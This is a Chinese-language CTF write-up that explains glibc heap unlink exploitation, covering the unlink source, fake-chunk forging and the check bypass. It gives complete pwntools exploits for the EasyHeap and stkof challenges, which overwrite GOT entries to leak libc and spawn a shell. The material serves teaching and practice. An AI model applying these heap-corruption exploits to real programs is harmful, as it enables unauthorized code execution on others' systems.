原理介绍
unlink
unlink其实进行脱链操作,下面贴一张CTF-wiki上的原理图
一般来说就是将链表头处处于free状态的堆块从unsorted bin中脱离出来,
然后和物理相邻的堆块合并成新的大堆块(向前合并/向后合并),最后再放入到
unsortedbin中
unlink 源码阅读
1 2 3 4 5 6 7
| if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); }
|
在free当前堆块的是后,会先检查其物理相邻的前一个堆块是不是处于释放状态,如果处于free状态则进入判断
将首先会提取当前堆块的前一个堆块的大小
将当前堆块的size和前一个堆块的size相加,即合并
将当前堆块的指针指向前一个堆块
然后unlink,即将当前的P所指向的chunk从双链表中移除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #define unlink(AV, P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ FD->bk = BK; \ BK->fd = FD; \ if (!in_smallbin_range (P->size) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
|
可以看到这里会进行一个检查,判断FD的bk和BK的fd是否指向当前堆块
Unlink 的绕过和利用
step1:伪造fake chunk
chunk = 0x0602040
P 为我们将要合并的地址,P存在于chunk中,且有*(chunk)=P
P->fd = chunk - 0x18 = 0x602028
P->bk = chunk - 0x10 = 0x602030
Step2: 绕过检查
Unlink(P,BK,FD){
FD = P->fd // FD = 0x602028
BK = P->bk // BK = 0x602030
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)){
// 检查绕过 FD->bk = *(0x602028+0x18) = *(0x602040)
//绕过2 Bk->fd = *(0x602030+0x10) = *(0x602040)
FD->bk = BK //*(0x602040) = 0x602030
BK->fd = FD //*(0x6020240) = 0x602028
}
}
Step3: 劫持程序执行流
经过上述的步骤,我们已经实现了在*(chunk)中写入了chunk-0x18的值
如过我向chunk - 0x18 写入__free_hook,在我下一次修改的时候就可以把__free_hook改写为system
列题
ZJCTF 2019 EasyHeap
这道题网上的wp大多都是house of spirit 以及 Unsorted bin attack, 这里介绍一种Unlink的攻击方式
IDA分析
add
可以看到add是用一个heaparray的数组来管理堆块的
edit
delete
同时该题也没开启PIE保护
这题就非常适合利用Unlink手法来构造exp
解题思路
Step1:伪造fake chunk
1 2 3 4 5 6
| add(0x30,'0') add(0xf0,'1') add(0x100,'2') add(0x100,'3') payload = p64(0) + p64(0x31) + p64(chunk-0x18)+p64(chunk-0x10)+p64(0)+p64(0)+p64(0x30)+p64(0x100) edit(0,len(payload),payload)
|
伪造后可以发现此时chunk0处于free状态
此时我们释放掉堆块1,可以发现堆块0和堆块1成功合并,触发Unlink
Step2:任意地址写
可以看到chunk0已经指向了0x6020c8,我们可以通过edit(0)为system最后getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import *
p = process("easyheap")
libc = ELF('libc-2.23.so') elf = ELF('easyheap')
def add(size,content): p.recvuntil('Your choice :') p.sendline('1') p.recvuntil('Size of Heap : ') p.sendline(str(size)) p.recvuntil("Content of heap:") p.sendline(content)
def free(idx): p.recvuntil('Your choice :') p.sendline('3') p.recvuntil('Index :') p.sendline(str(idx))
def edit(idx,size,data): p.recvuntil('Your choice :') p.sendline('2') p.recvuntil('Index :') p.sendline(str(idx)) p.recvuntil('Size of Heap : ') p.sendline(str(size)) p.recvuntil("Content of heap : ") p.sendline(data)
chunk = 0x6020E0
add(0x30,'0') add(0xf0,'1') add(0x100,'2') add(0x100,'3')
payload = p64(0) + p64(0x31) + p64(chunk-0x18)+p64(chunk-0x10)+p64(0)+p64(0)+p64(0x30)+p64(0x100) edit(0,len(payload),payload)
free(1) gdb.attach(p) system = elf.plt['system'] free_got = elf.got['free']
payload = b'a'*0x18+p64(system)+p64(system)+p64(free_got) edit(0,len(payload),payload) edit(2,0x10,p64(system)) edit(3,0x10,b'/bin/sh\x00') free(3)
p.interactive()
|
hitcon2014_stkof
题目分析
本题和上一题区别不大,唯一的区别就在于本题没有调用system函数,需要泄露libc地址
即把free_got 改为 puts_plt即可泄露地址
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import *
elf = ELF('stkof') libc = ELF('libc-2.23.so')
p = remote("node4.buuoj.cn",26259) context.log_level = 'debug'
def add(size): p.sendline("1") p.sendline(str(size))
def edit(idx,size,content): p.sendline("2") p.sendline(str(idx)) p.sendline(str(size)) p.sendline(content) def free(idx): p.sendline("3") p.sendline(str(idx)) chunk = 0x602150
add(0x20) add(0x30) add(0xf0) add(0x100) add(0x100)
payload = p64(0) + p64(0x31) + p64(chunk-0x18)+p64(chunk-0x10)+p64(0)+p64(0)+p64(0x30)+p64(0x100) edit(2,len(payload),payload) free(3)
puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] atoi_got = elf.got['atoi'] free_got = elf.got['free']
payload =b'a'*0x18+ p64(atoi_got)+p64(atoi_got)+p64(free_got) edit(2,len(payload),payload)
edit(4,len(p64(puts_plt)),p64(puts_plt)) free(3)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['atoi'] print(hex(libc_base))
one = [0x45226,0x4527a,0xf03a4,0xf1247] system = libc_base + libc.sym['system'] one_gadget = libc_base + one[2]
edit(4,len(p64(system)),p64(system))
edit(5,0x8,'/bin/sh\x00') free(5)
p.interactive()
|